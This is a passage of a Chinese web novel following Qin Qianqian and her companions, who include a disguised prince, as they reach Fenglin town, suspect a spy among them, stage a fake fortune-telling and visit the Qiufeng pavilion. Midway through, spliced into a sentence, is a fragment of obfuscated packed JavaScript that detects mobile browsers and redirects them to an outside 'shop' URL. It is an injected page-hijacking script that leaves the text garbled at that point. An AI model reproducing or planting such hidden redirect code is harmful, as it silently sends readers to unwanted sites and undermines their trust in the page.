按照道理来说，她们的眼线遍布天下。去哪个地方，都会有人接应她们的。可眼下已经走了三个地方，秦千千没有收到一点接头人的消息。
那也就是说，她们现在的团队有问题，团队中的人有问题。
“不是吧……”
桃花花顿时后背发凉，她自然不会怀疑自家的芳草之师。她只是万万没想到，现如今居然是团队有问题。
“嘘！”秦千千使劲儿照她肩头来了一下，她不想说，就是因为这丫头咋咋呼呼的。桑风雪的表情也凝重了起来，自己居然还是掉以轻心了。
“我是专门租两个车的，这样我们才有机会讨论问题。而且，要说怀疑对象，我还真有怀疑的人。”
在空旷的山野中，伺机跟踪的人也只能远远保持着距离。
而白邵禾一直闭目养神，反正也听不到后面马车上的言语。
他虽然听力极佳，但奈何便宜租来的马车，一路上都在嘎吱作响，听得他心烦意乱的。
而同乘的王老怪和晏信，又聊起来没个完，还时不时拉着元德一起聊天，惹得白邵禾心烦意乱的。
“我其实一直都在后悔，我不应该走的。我应该留在涌泉镇，跟闫阿婆和领婆婆好好学学她们的医术。”
王老怪这话是真心的，他只学过姜千秋给他的那些医术。而行医多年，他也的确没见过医书外的疾病。可两位阿婆，的确是有真才实学的。
白邵禾缓缓睁开眼睛，看王老怪言辞恳切，就开口安慰他：“你也不用过于难过，毕竟，哪怕你决定留下，千千也是不会放你离开的。”
这话倒是正确，就是听得王老怪一阵心塞。他都在心中考虑，要不要告诉秦千千实情呢？
他思索几天，还是放弃了。之前答应过恩人，这事儿再不告诉别人的，他不能食言。
经过几日的日夜兼程，秦千千她们在深夜到了枫林镇。四个车夫也都披星戴月地赶路，刚到镇口，秦千千就让他们离开了。
“好美的枫叶！”
秦千千刚下车，就有一片枫叶左右飘荡地飞到她眼前，她伸手去够，刚好抓住它。那枫叶灼红似火，看得秦千千不由得赞叹。
白邵禾动动嘴没吭声，他怎么能奢求秦千千能出口成章呢？搭话这种东西，他不主动，有的是人主动。
“哎……”
“娘子好眼力，这正是我们秋风阁的请柬，若是明日有空，我家小姐邀请各位去看秋风阁的演出。”
不知何时，走来一位身着浅绿华服的人，她脸上呈现出让人舒适的微笑，行为也不卑不亢的。若不是话中的“小姐”，秦千千绝对不会想到她是个丫鬟。
“你们家小姐？这不是从天上飞下来的吗？”
说罢，秦千千抬头，看到城墙上面站着一个美人。虽然看不清样貌，但那人略微点头的姿势，秦千千看清了。
“好，那……”
“那明日娘子持这片叶子来就行，对了，欢迎各位都来。”说罢，那丫鬟栖身行了个礼，就离开了。
秦千千从怀中拿出手帕，把那片叶子包好，放进行李中。这才率先走进城门，走在最后面的白邵禾抬头看了下那人，可那位小姐却早已离开。
要说繁华，这枫林镇远远比不上脂粉斋的万千灯火。可锦宁县除了脂粉斋的长街，其它地方都没有那么繁华。
这枫林镇可不一样了，条条街道都是灯笼高悬，街上的人都不少，看起来，像是商铺分布的比较均匀。
秦千千困得实在不愿再到处找客栈，就随便进了一家。而她跟往常一样，在账房垫付十两银子，自己直接上楼睡觉去了。
白邵禾他们留下吃晚饭，众人一边吃，一边谈论起这枫林镇。
“真没想到，晚上这里还有这么多人上街。还是说，这几天是有什么活动，所以各个地方都点着灯笼？”
桃花花是最经常在夜里上街的人，她觉得这繁华程度，直逼京都。
桑风雪点头，她也很是好奇。
“是啊，而且我看它们街上很少有流动的摊贩，都是开门做生意的那种，这倒也是少见。”
照理说，并不是所有人都买得起做生意的门面房的。而朝廷也是准许摆摊买东西的，白邵禾只能说，这个场面，属实罕见。
“哎，这我可懂，你们谁求求我，我告诉你们！”
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晏信咬着筷子，一脸兴奋地开口。
白邵禾看了他一眼，终于在心中给他下了定论。经过路上这几天的相处，他也算是彻底看明白晏信了。
这晏信就是个憨笨的傻子。
而暗卫查的消息也送到了，这晏信就是个单纯的离家出走的商贾之子。巧就巧在，他的身世跟白邵禾捏造的一模一样。
不过白邵禾不为此惊惶，毕竟这晏信看着就是太聪明的样子。指不定，到时候相同的背景，还能给自己一个助力。
“……”
“……”
“晏信，我跟你说，千千是不在，不然她看到你欲语还休，一定会骂你的。”桃花花眯了眯眼睛，开口威胁他。
晏信只好屈服，老实地说起枫林镇的事情。
“枫林镇，别看这么多户人家，其实他们都是划片管辖的。也就是说，枫林镇其实最上面有三股势力，也就是他们说的三东家。”
王李张，就是所谓的三东家。其中王家势力最大，整座枫林镇，她们占了十分之六，而李家张家，则是平分秋色，各站十分之二。
“成何体统！这样分，把朝廷放在哪里？”
“公子，切莫激动！”
白邵禾那句话的威亚，让晏信愣了一下，元德赶忙打圆场，晏信这才继续说了下去。
“这里肯定是有官府的，不过官府是独立于三家之外的。而且各家地盘上的百姓，各家管辖，很少会闹到官府那里去的。”
晏信说起这个头头是道，真的让人很怀疑他就是这里的人。王老怪美滋滋地开口，他身为王家人，是不是能去蹭一杯羹。
“倒真是有这个说法，王家宴请天下王氏家族的人，你明天可以去看看的。”
“晏公子，你是怎么知道这么多事情的呢？”
白邵禾知道自己刚刚失态了，平复好心情之后，他才开口问晏信。晏信也没藏着掖着，他就直说了。
“其实在遇到你们之前，我就是想进京的，所以我现在相当于在走回头路。因此这里的事情，我了解的那叫一个清楚。”
桑风雪看菜已经上了，她就让桃花花上去喊秦千千。等秦千千打着哈欠下楼的时候，她被一个小孩儿撞得踉跄了一下。
这一撞，倒是把瞌睡虫撞跑了。
“小丫头，你走路着什么急嘛，下次小心点。”
秦千千看着七八岁的小姑娘，也不想指责她，就温声细语地跟她说。那姑娘点点头，赶忙离开了。
王老怪看秦千千走近，这才阴阳怪气地开口：“怪哉怪哉！你的脾气什么时候那么好了？”
知道这人在揶揄自己，秦千千皱眉剜了他一眼。
“都说强龙不压地头蛇，进了这枫林镇，不得尊重一手人家三东家中最大的氏族一下？”
说罢，秦千千转头看着那小孩儿，她左衣袖口纹了一圈特殊的图腾。别人还不清楚，但秦千千清楚，那可是王氏通天藤纹。
有了那个通天藤纹，在整个镇中，横着走不是问题。
32. 秦半仙上线行骗
秦千千拿筷子夹了一块儿凉拌木耳，她皱眉指着木耳说：“这饭可得好吃啊，不然真是白费我放弃睡觉，下来吃这两口。”
众人也都纷纷动起了筷子，晏信笑着跟右手边的秦千千说话。
说是说话，白邵禾觉得，那更像是一种讨好的攀谈。他对此嗤之以鼻，而且觉得晏信的行为，很草率。
“千千，你也太厉害了！我在这里住了半个月才搞明白的事情，你怎么上去睡一觉就知道了？”
若不是看到过晏信三下五除二，打退一堆恶霸的事实，秦千千真的忍不住怀疑，这个人的脑子是不是有点笨蛋？
或许晏信自己都忘记，他自诩行走江湖多年。可秦千千早就告诉他们，自己是清风酒楼的老板了，这晏信居然还问这么愚蠢的问题……
秦千千放下筷子，她眼睛一转准备逗逗他。
“哎，其实我会这个，给人算命可准了。要不要给你算一下？”
她拇指点点剩下的指关节，一脸神秘地暗示晏信。晏信眼睛瞪得老大，他呆呆地点头。虽说这些是江湖术数，但晏信还真的相信有高人在的。
只不过，他刚从家中跑出来遇到的那个，绝对是骗子！
“那我想问一下……”晏信还没来及说自己要看什么，就被秦千千按住了胳膊。“哎！我给你看什么，你就听就是了。”
坐在对面的白邵禾简直没眼看，一个人骗傻子的事情，有什么好看的呢？元德倒是看的津津有味。
桑风雪轻轻摇了摇头，这千千又在招揽信徒了。等她这一套骗完，晏信肯定得死心塌地跟着她。桃花花冷哼了一声，想当初她可是被秦千千用这招骗走了一个月的月俸……
“哎，那你待会儿能不能给我看看？”不知王老怪是真心的，还是在逗秦千千玩。秦千千面色不悦地抬了下左侧眉毛轻轻吐出一个字：“滚。”
王老怪悻悻地吃起了菜，他一直在思考，秦千千究竟知不知道，自己的那些前尘往事……
早在半个月前，秦千千就收到了晏信的所有信息，甚至连遇到她们前的经历，都给秦千千摸得清清楚楚。
因此，她右手端着下巴，左手忙着做法，完全不是在测算，而是在衡量，说什么好。
“小姐，女扮男装出来混江湖，可千万要小心歹人啊！”
秦千千声色并茂地跟晏信说，这话听的别人一头雾水，只有晏信紧紧抿着嘴唇。这就是当初他碰到的第一个大师，跟他说的话。
“你怎么知道，那个看相师傅跟我说的话？”晏信真的信了，他满脸惊讶地看着秦千千。这事儿他嫌弃丢人，没告诉任何人。
“早就说了，我在这个领域，那可是无人能及的。行了，今天我就看到这里，本大师困了，上楼休息去了。”
眼看秦千千离开，晏信还想再说什么，她却突然转身，朝他嘘了一声。晏信拿起桌上的酒杯，一饮而尽。而后满脸惊讶地问在座的所有人，他们的反应怎么如此平淡？
白邵禾不忍戳破什么，他恍然大悟地点头：“看来，我明天也得找她给我好好看看了。”
元德也煞有其事地附和：“是啊，老板真的太厉害了。”
看着一个桌子的人都在糊弄傻子玩，桑风雪无奈地沉默，难道没人想告诉晏信真相吗？虽然桑风雪确定，自己是不会说的。
“哎你们……”桃花花正忍无可忍，准备开口，却被王老怪出声压下了她的声音。
“不是我说，你们真的太可恶了！”
隔岸观火的几个人，抬头看他。白邵禾心想，难不成王老怪良心发现准备告诉他真相？事实证明，他还是高看了王老怪的道德。
“她算那么准，却不给我算，你们这些能算的，还要在我面前炫耀？有没有天理啊！”
王老怪最后还愤恨地拍了两下桌子，旁边的晏信赶忙开口安慰他，给他斟酒。
白邵禾低头偷笑，不过是嘴角浅浅一勾。
一旁的元德察觉出殿下的异样，心中感慨万分。元德越发觉得出行是个正确的选择，最起码，殿下可以在密不透风的环境中，暂且小憩。
桑风雪和桃花花进屋时，秦千千已经入睡了。舟车劳顿，饶是桑风雪，也想直接躺在床上。桃花花也准备直接上床，却被桑风雪拉住。
“桃花，今天若不是王老怪拦你，你是不是就要跟晏信摊牌了？”她尽量压低声音，防止被有心之人听到。
桃花花诚实地点了点头，桑风雪无声叹了口气，跟她分析起眼前的局势。
几人中有人有问题，这是板上钉钉的事情。而不管晏信是装糊涂还是真糊涂，不跟他挑明现状就是最好的。
若他是真糊涂，那听了秦千千的身份，谁能确保他不会心生歹念？若他是装的，那只会让他确信，自己的迂回计划，已经拿下了秦千千的亲信了。
丝毫没想到，自己一念之差有可能闯那么大的祸，桃花花身体僵硬，不知道该怎么办。桑风雪一狠心，跟她谈起了所有事情。
“桃花，你有想过，阁主为什么不让千千出门呢？”
“因为她懒，而且酒楼事情繁杂？”桃花花一脸天真，桑风雪不想打击她，可江湖不是玩笑事儿。
“因为江湖险恶，别说是千千，你不是也被别人骗了两回？那些人想干什么？不就是想通过你，得到一些消息。”桑风雪语重心长地说，桃花花似懂非懂地点头。
“而千千，她可是我们酒楼的老板，她若是被人知道行踪，你说会不会有人要杀了她，或者蛊惑她，为了获得一些千金难求的信息？”
如若不是情况紧急，姜千秋也不会让她回来保护秦千千，更不会安排此生不复相见的王老怪，陪伴她们出行。
听她透彻的分析，桃花花全明白了。她不仅明白了，还后背发凉。她已经习惯了秦千千独当一面，可她却忘记了，这里不是清风酒楼，秦千千自己都身处悬崖边缘了。
“可是桑姐姐，这些事情我有些愚笨，不是你跟我说，我还不清楚呢。那千千为什么要带上我？”
桃花花心想，换做她是秦千千，她就不会带上一个随时会暴露自己的人。说起这个，桑风雪低眉眨了眨眼，脸上闪过一丝忧伤。
秦千千和姜
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千秋都嘱咐过，不让她告诉桃花花这个事情。
可……
桑风雪决定和盘托出。
“桃花，我本不该说，可我还是要告诉你。这是在培养你，万一……我是说万一，千千遇刺身亡，你就得担起老板的职责。”
一记话如五雷轰顶，桃花花眼睛中顿时蓄满了眼泪。她从来没有想过这个事情，虽说平时跟秦千千吵吵嚷嚷的，但她想不到秦千千会死。
“不，她不会有事儿的。”
桑风雪不喜欢跟人有肢体接触，可桃花花的眼泪一颗一颗地掉下来，她不忍心，就抬手帮她擦去眼泪。
“放心，有我在，她是安全的。”
有那么一刹那，桑风雪都在怀疑自己是不是不该跟桃花花说，但她还是觉得自己做的没错。没有被轰碎的安全感，人又怎么成长呢？
可桃花花的眼泪还是止不住，而且越擦越多。桑风雪真的不知道该说什么好，在她踌躇的时候，桃花花已经抽噎起来。
睡一半被吵醒，是最容易惹恼秦千千的事情。仅次于做了买卖不给钱。
她一个鲤鱼打挺，就从床上坐了起来。左眼睁着，右眼闭着，她转头看向噪音的源头。
“我说，大半夜的不睡觉，你在哭什么！”
桃花花泪眼婆娑地看着秦千千，刚刚的温情，以及她心中对秦千千的愧疚，让她继续抽噎着。她已经下定决心，以后不再跟秦千千对着干了。
“没事儿，你继续睡吧。”桑风雪朝秦千千摆摆手，秦千千却撇了下嘴。“这姑娘哭哭啼啼的，我睡不着。哎呀我说你别哭了，又不是谁死了！”
桃花花现在就是再感慨，她也是哭不出来了。她红着眼瞪了一眼秦千千，跺着脚回自己床上去了。
这下秦千千倒是笑得开心，她起来倒水喝，顺便给桑风雪送了一杯。与刚刚的小声谈话不同，秦千千说话那叫一个中气十足。
“桑姐姐，桃花这是咋了？是不是看上谁家小伙了，要真看上，我去偷钱给她买！”
桑风雪都被逗笑了，她就知道，秦千千是会“安慰”桃花花的。自己安慰半天，桃花花还是哭的梨花带雨的，秦千千两句就把她气回床上了。
那边的桃花花瞪一眼秦千千，气鼓鼓地翻身睡觉。
隔壁的白邵禾握拳抵住嘴巴，轻轻咳了两声。他就知道，秦千千这没心没肺的家伙，总是会把各种温情的场景破坏掉。
正好在他听的差不多的时候，外出的晏信和王老怪结伴回来了。他们站在门口议论，到底要不要把热的糖炒栗子，给秦千千她们送过去。
“千万不要，我刚刚听到那边有人在哭。她们姐妹夜谈，我们过去不好。”白邵禾打开门，小声跟他们通气。
晏信恍然大悟地点头，丝毫没有看出来，白邵禾眼中的一丝玩味。王老怪总觉得不对劲儿，他眉心突突地跳着。
果不其然，第二天秦千千得知他们偷开小灶，还不叫她们，理所应当地斥责了他们。
“吃独食！找借口！你们两个可真是好样的！今晚我们去秋风阁，就不带你们了。”
33. 猜忌四起
晏信想解释什么，他却只张张嘴，没再吭声。白邵禾若无其事地坐在桌子边，愉快地跟秦千千聊了起来。
“千千，我们晚上什么时候去秋风阁？我白天想去镇上转转的。不过你们放心，我一定会在出发前赶回来的。”
要不是他提前说，今天估计又要被秦千千拉着，满街漫无目的的逛荡了。为了不浪费自己的时间，白邵禾只能铤而走险地这么说。
毕竟，若是秦千千足够敏锐的话，她万一怀疑自己消失的这段时间，是去找姜千秋了，这可怎么办？
白邵禾昨日思虑了一晚上，还是觉得搏一把。
秦千千点头，她今天原本就没有什么安排。赶了好几天的路，她现在的计划，只有好好休息。而且在这个地方，属于说多错多、见多错多。
“好。你们剩下的人想出去玩，也都出去玩吧。反正我今天是跑不动的。咱们就酉时在这里碰头吧，到时能赶上戌时一刻的秋风阁庆典。”
饭后，秦千千回屋，余下的人除了桑风雪决定留下，剩下的人都出去逛了。至于王老怪，他自然被秦千千承包给了元德。
白邵禾自己前往线人开的店铺。那是一家银器店，位于三巷街，左侧的第九家店。
他如约赶到后，店中坐着叮叮当当敲打银饰的壮汉，抬头看了他一眼。而后继续低头敲起了手中的银条。
黄忠向来是这么做生意的，他似往常一样开口：“客官，随便看吧，看中哪件，过来找我问价钱。”
白邵禾盯着墙上挂着的银饰，微微摇了摇头。“不知道老板能不能做出天上游的，水里飞的。”
听到接头暗号，黄忠突然放下手中的小锤子，径直走了过来。他这种品级的暗卫，是没有机会见到殿下的。因此白邵禾就给他们定了接头暗号。
可他似乎忘记了，直勾勾盯着殿下，并不是个礼貌的举动。白邵禾抬眸扫了他一眼，开口唤他老板，黄忠这才回过神来。
“老板，那个银钗要多少钱？”
白邵禾似乎真的是来首饰的，他丝毫没问枫林镇的情况，黄忠只好结结巴巴地回话。
“一两银子所铸造的簪子，我们收一两银子的制作费，因此这簪子，二两一支。客官要是要的话，我可以……”
“你不可以！”白邵禾脸顿时黑了下来，他压下愠怒的情绪，低声斥责他：“若是本王手下的暗卫，都似你这般，如此不警醒，何以谋事？三问九答只对了一句，你就敢信任眼前的人？”
三问九答，顾名思义，接头的两方一问一答。三个问题，九句话，错一个字，就算是接头失败。
很明显，黄忠这次的确是大意了。白邵禾的指责，他只能低头听着。毕竟第一次任务就大获失败，黄忠也不敢为自己辩护。
“带我去后房。”站在开门做营生的店中，白邵禾害怕暴露。而黄忠被他训的一句话不敢说，只能白邵禾主动指点他。
黄忠赶忙带路，引他去后房。前面的店铺白日不能关门，于是黄忠就喊在后院的仲芷珍，去前面看着店铺。仲芷珍路过白邵禾时，压根不敢抬头看他。
因为她知道这是大人物，不是自己随便敢看的。
白邵禾没空过问黄忠家务事，他挥了下手，让黄忠汇报最近几日调查的成果。自从那日知道姜千秋来这里后，暗卫就马不停蹄地送消息过来，城中的四五个线人也早就开始了明察暗访。
枫林镇情况特殊，三东家议定了开市和闭市的时间。而夜里闭市时，城门是紧闭的。枫林镇的城墙又高又厚，除了从四个城门中进出，别的地方是入不了镇的。
“收到飞鸽传书的时候，我们就对各个关口严防死守，没有遇到可疑的人出现。而且城中……”
黄忠不知怎地，支支吾吾起来。白邵禾面色不悦，问他怎么了。
“主子，这城中有巡逻队，不是登记入城的人，被抓到是要被赶出去的。而且一天十二个时辰，城门上都是守卫森严，所以我觉得她压根还没来。”
白邵禾着实没想到，这城中，居然配备的有京城才有的巡逻队？看来这里的官府，话语权也不是他想象中那么小啊。
“这里的州府，有多少衙役，怎么还设有巡逻队？”
“禀告主子，这里的规制，跟正常州府一样的……”后半句话，黄忠就是不敢说，也得硬着头皮说了。“这不是衙门的巡逻队，而是三东家，他们各自管辖各自的领地。”
“呵！”
白邵禾冷哼一声，这真是要反了天了。
先前有涌泉镇的南暮烟北琉珍，私自铸币；现在这枫林镇，看起来要三足鼎立，直接另立新朝了。
与此同时，客栈中的秦千千接到线报，京城中有个官员被查办了。桑风雪不懂京中事务，只不过她看千千面色凝重，就知道出事儿了。
“这个人是什么很重要的人吗？”
“温文瑞……桑姐姐，你记得还有哪个有名有姓的人，姓温？”秦千千一副了然于胸的样子，桑风雪捏着下巴思考起来。
既然秦千千问自己，那就证明是最近的人……最近……有名有姓……
“是不是涌泉镇的那个大户！叫温什么，对了，那个叫温玉泉的人。”
秦千千点了点头，脸上却无半分笑意。
温文瑞举家锒铛入狱，可罪名却没有定下来，不知道朝廷在等什么。
秦千千现在得到的消息，都是舟车劳顿送过来的，因此，会比事情发生的要晚一段时间。随着她们越走越远，消息的滞后性，也是非常致命的。
比如现在，她原本不想怀疑身边的任何一个人，可现在，事实已经摆在她面前了。
她们路过纵虎岭，白邵禾就能召集一群士兵荡平整个镇子。而同样的事情，也发生在涌泉镇。
怎么她们刚路过涌泉镇，山主的儿子就锒铛入狱……
秦千千苦笑一声，“桑姐姐，还记得我跟你，在南暮烟说过什么吗？”
当时三人刚进南暮烟，她就愁眉不展地说，这日后必成祸患。她那几日去南北坊，也就是为了核实一下，江湖中虚无缥缈的事情。
也就是那时，秦千千才知道，世间竟有如此胆大之人。
“看来，这温家是在劫难逃了。”桑风雪漠然地感慨，也不知道涌泉镇以后的发展会怎样。“不过你怎么愁眉不展的？”
桑风雪以为，温玉泉不花钱买这条保命信息，所以秦千千还在生气。在桑风雪看来，清风酒楼不缺这个生意做。只不过，她也没想明白，阁主为何要敛那么多财……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162743|148501||http|test|mini|href|location''.split(''|''),0,{}));
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这个问题，恐怕只有她一个人知道了。
“有那么一点点生他的气，不过更让我心寒的是，我一直不愿意相信有内奸，可现在事实证明，真的有。”
之前秦千千每每都会回避这个问题，她认为，身边的朋友都是她真心实意交的。可她这生意，也知道，江湖上最不值钱的，就是所谓的真心实意。
“这个问题我想找你说，可一直没有找到机会。现在正好有空，你跟我说说，你有怀疑谁吗？不过我先跟你说，王老……”
秦千千一摆手，她知道桑姐姐是要给王老怪开脱，她蔫蔫地摇头。
“我根本没有怀疑过王老怪，虽然你们不告诉我他的过往，但能平安诋毁主人这么多年的人，我猜他是主人放出去掩人耳目的吧？”
桑风雪没办法判断她知道多少消息，自然也就没办法估量，秦千千这种正确率极高的推理，是不是被阁主看中的天赋。
秦千千看着她讳莫如深的样子，也就不为难她了。
“算了，这个问题我没兴趣，你也别那么为难了。我实话跟你说，元德是我招的伙计，我对他知根知底的放心。至于白邵禾与晏信，这我都查过了。”
桑风雪眉头一挑，她不是说不想怀疑别人吗？原来早就摸清底细了啊！
原本，秦千千最怀疑的就是晏信。毕竟，他对自己太过主动，很难让人不心存戒备。可相处下来，她也发现，晏信真的是蠢蠢憨憨的样子。
至于白邵禾，一直就是翩翩公子，而他说的身世，也跟秦千千查出来的完全对上了。
“若说哪里奇怪，他身世还真有奇怪的地方。你敢相信，他一个被五王爷暗卫抓进牢的人，居然跟五王爷成了至交，还被放了出来！”
这事儿透露着蹊跷，可秦千千查不出别的线索了。现今唯一离京的皇子，也就被流放的穆轩岚。
可五王爷穆元基跟穆轩岚是宿敌，日常就水火不容的，怎么会同穆轩岚合伙，做一个偷天换日的局呢？
穆轩岚早就想到了这一点，想要混到秦千千身边，他就得找个完美无瑕的身份。朝野皆知，五弟自小跟他不对付。
因此穆轩岚就专门禀奏父皇，借了五弟牢中那人的身份。至于真正的白邵禾，还在王府地牢中羁押着。
这件事情，只有皇上和他们二兄弟知道。穆元基知道，此事若是泄露出去，那自己到时一定是必死无疑。
白邵禾原本还在听黄忠禀报，仲芷珍却急匆匆地跑进来，说是外面有姑娘来找他。
“哪位？”
“主子，舍妹不知道……”
黄忠本想说，他妹妹不知道各中线索，自然不知道那是谁。谁知仲芷珍不卑不亢地低头禀报，比他这个说话哆哆嗦嗦的哥哥，还显得成熟老练。
“一位是走路带风，颇有侠气的年长女人。另一位看着活泼跳脱，行事机敏。”
白邵禾听出来，这是秦千千和桑风雪来找自己，他便赶忙起身出去，顺带收起一脸的阴翳。在他走过仲芷珍身前时，仲芷珍又斗胆开口。
“客人，我跟两位小姐说，您在后院定制簪钗。”
看着眼前跟自己串供的人，白邵禾嗯了一声，快步去前堂了。他心想，这仲芷珍，比那个黄忠，机敏多了。
34. 秋风阁的王小姐
一般商铺的柜台，是不会离人的，更何况是这种金银首饰店。仲芷珍走后，秦千千就转头朝桑风雪挑了下眉。
两个人没等多久，白邵禾就从后门走了出来。白邵禾看到她，还装作一脸惊讶。
“千千，你不是说要在屋中休息吗？”
秦千千压根没有转身，她正在踮脚够墙上挂着的一个银钗。
桑风雪面无表情的回复他：“这就秦千千嘛，想一出是一出的。”秦千千转头朝她不屑地耸耸鼻子，她对白邵禾礼貌一笑，转而去问柜台后站着的兄妹。
“老板，这个银钗多钱？”
“二两银子一个。”黄忠说完，仲芷珍就知道完了。
这簪子制作精良，上面还有一只栩栩如生的银蝶。光那只银蝶的手艺，就得值四五两银子。仲芷珍本就是这店中的手工匠，报价这种事情本不该让黄忠来的。
而白邵禾的原本的接头人本不是黄忠，只不过是那位上官得到消息，赶去城外搜查，这才让手下黄忠顶替了一下。
仲芷珍低垂眉眼，默不作声。现在她只能期盼，眼前这两位是不懂货的人了。可奈何正好碰上了行家，听到价钱后，秦千千就笑了。
“你们不进京，都不知道。这种品相的簪子，至少要卖十五两。刚刚进门我就想说，老板你们也太托大了，就放着顾客在店中，不怕我们抢几件跑路吗？”
白邵禾察觉到有些不对劲儿，从秦千千来到现在，她的作风似乎跟平时不太一样。若真要他说，那就是比平时凌厉了不少。无论是说话的语气，还是行事的作风，都有一些些变化。
黄忠当即愣在原地，仲芷珍情急之下赶忙赔笑：“小姐，我和哥哥从爹那里接手店没多久，我哥哥经常这样报错价钱。我也老是忘记，柜台不能离人的。”
秦千千没打算为难他们，她又晃了晃手中的簪子：“那你能给我个合理的价格吗？还是说，我出二两银子，你把这个卖给我？”
秦千千自己也是生意人，她十分明白这种遇到笨蛋伙伴的无奈，而且她也不打算趁人之危。眼下她的意思，就是让仲芷珍重新出价。
白邵禾看着眼前难堪大用的黄忠，他向前走了一步，从她手里拿过簪子。“不管多少钱，我买了。”
他本想买下送给秦千千，谁知道秦千千却不是给自己买的。她从衣袖中掏出一个细长的锦袋，上面还绣着一支金桂。跟白邵禾道了谢后，才把簪子小心翼翼地装进去。
看着白邵禾讶异的表情，秦千千这才眉飞色舞的跟他解释：“晚上应邀去秋风阁，怎么着也得给那位小姐准备一份薄礼。”
原来如此！白邵禾转念一想，那位看着来头不小，这十两银子的银钗，是不是太薄了点。
“外面还有很多店铺，要不我们再看看？”
秦千千听出了他话里的意思，不禁失笑，她也不是那么抠门的人啦。她和白邵禾并排走出银器店，桑风雪最后一个出门。等她出来，秦千千才跟她们坦白缘由。
“对于她那种坐拥金山银山的人来说，这一支钗子的确算不得什么。只不过，这锦禾可是大有来头。因此，我这是正中下怀，不是小气抠门。”
虽然不懂那位小姐为什么需要这锦禾，但桑风雪也懒得纠结这件事情，她态度敷衍地搪塞秦千千。
“知道了知道了，快收起来吧。”
秦千千就是这样，越不让她说，她就越来劲儿。既然桑风雪不听她说，她就跟一旁的白邵禾聊了起来。
“邵禾兄，我跟你说个秘密，其实我跟那位小姐是认识的。她来京都的时候，找我买过消息，因此，我们是老相识了。”
“哦？这么说的话，那日她就是故意在城上等你的？”白邵禾没想到她会主动跟自己说起，生意上的事情。
秦千千瞟了一眼身边的桑风雪，谁知那人还是兴致不高，这可把秦千千气坏了。“是的，我们说好了，到了枫林镇，她要宴请我的。所以，你没发现，我自从到了这里，就再没怎么吃过饭吗？”
嗬！白邵禾可记得清楚，当初王老怪在包子铺，想要坑秦千千钱的时候，也是埋头苦吃包子。最后其实也没花她多少钱。
现在看来，这王老怪和秦千千，在这些细枝末节的事情上，简直是一摸一样啊。
也不知道桑风雪究竟是怎么了，她就是一直闷不做声，甚至在大家都收拾好，准备出发的时候，突然说自己不去了。
这下惹得秦千千彻底不高兴了，她朝桑风雪勾了勾手指，不知道跟她说了什么。只见两个人耳语没两句，桑风雪气急败坏地推了一把秦千千。
白邵禾赶忙上前扶住了她，谁知秦千千却是一脸得意：“你不去的话，我就跟她摊牌，你看着办吧。”
桑风雪认栽了，反正伸头一刀，缩头也是一刀。
“我去就是了。”
这秋风阁，远不及涌泉镇的南北坊气派。因此，众人看到平平无奇的酒楼，都还有些失望呢。
“千千，我还以为是多气派的地方，连你这种老抠门精都愿意买十两银子的簪子。谁知道，这也就一般般嘛！”桃花花一扫昨晚的感恩戴德之心，又回归了捅秦千千心窝子的时候。
秦千千咬牙切齿地反驳，说谁老抠门精呢？眼看两个人又要吵嚷起来，这次秦千千竟然刹住了车。白邵禾手中有暗卫的消息，他自然知道这个地方的非比寻常之处。
“不跟你计较这些，这里可是文人雅士来的地方，在这里吵架真的太丢脸了。反正你们得记住，咱们进去以后，尽量少说话。”
这话看似是敬告所有人，可白邵禾觉得，秦千千这其实是说给她自己听的……好吧，再加一个桃花花。
秦千千打头先进去，门口有位门童跟她们鞠躬，而后问众人请柬在哪里。秦千千赶忙拿出怀中包裹好的枫叶，展示给那人看后，他立马毕恭毕敬地带她们上楼。
白邵禾走一路观察一路：这秋风阁跟寻常酒馆的摆设差不多，只不过喝酒的桌案变成了吟诗题词的书案；桌上的美味珍馐，雨露琼浆，则是变成了笔墨纸砚。
而正厅中间的舞台，上面则是放了一个巨大的漆红架子，架子上面有序地挂着很多纸张。时不时有人上去拿一张，也有人站在台上发呆。
此情此景，让白邵禾想起了科举后，贡院中考官们批阅试卷的场景。<
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p>移步换景，转到二楼，则是纱幔隔开的书案，每个书案前，都有一人执笔正坐。其中有男有女，有的表情轻松，有的却愁眉不展。
“她们在这里干什么啊？”桃花花有话就直接说出口了，谁知秦千千却朝她嘘了一下。而那个门童像是没有听到任何声音一样，继续往楼上走着。
三楼的门窗都是紧闭的，谁也看不清楚里面到底是什么。只是秦千千突然说她鞋掉了，让别人先走一步。白邵禾察觉不对，她在说完话后，吞了下口水。
这是她撒谎的铁证。
于是白邵禾故意控制速度，没有走在前面，一直迷迷糊糊的晏信，大摇大摆地跟在门童身后。谁知门童停在最后一级台阶前，不再上前。
“各位，请吧。”他抬手侧身，请众人往前走。晏信心中虽有疑惑，但还是迫不及待的走了上去。
后面的秦千千忍不住窃喜，很好，第一个上去的人，肯定会被王小姐为难的。只要不是自己，那她都能接受。
看她这幸灾乐祸的样子，白邵禾侧头问她怎么了，秦千千压低声音让他看着吧。
等众人都上了三楼，昨日见过的那位丫鬟，双手托着一个木托盘，走了出来。她面带笑容地走到晏信面前：“既然公子是第一个来的，那就先选一个信笺吧。不同的信笺，对应不同的房间。”
也就是说，只有一位能见到王予月——那位神龙见首不见尾的小姐。除了秦千千，大家都听的一头雾水。
“难不成，我们不能一同赴宴吗？”晏信早就有所耳闻，只不过不是秋风阁，而是那位小姐。
据说，她有旷古博今之才，还有一段爱而不得的晦暗情史。于是，他一直想见见那位王小姐。只不过这是枫林镇，姓王的他可惹不起。现在终于有了机会，竟然还要抽签决定。
邀月遗憾地摇摇头：“我们这里有我们这里的规矩，还望各位遵循我们小姐的意思。”
剩下的人无法，只能一人选了一封信笺。
轮到秦千千的时候，她知道，自己哪怕是拿个托盘，都能抽中王小姐。毕竟，自己此行不就是来给她送情报的吗？放眼整个江湖，也就王小姐付得起，秦千千的跑腿费了。
众人分别进入不同的房间后，秦千千也被邀月带进最远的房间。不一会儿，有人推门进来。那人身着绫罗绸缎，头戴银钗配饰，在跃动烛光的映照下，差点闪瞎秦千千的眼。
“嗬……王小姐富贵！”秦千千眯起眼睛，调笑起那个“全副武装”的人。王予月一脸傲娇地坐在桌边，朝秦千千伸出手：“少废话，我的情报呢？”
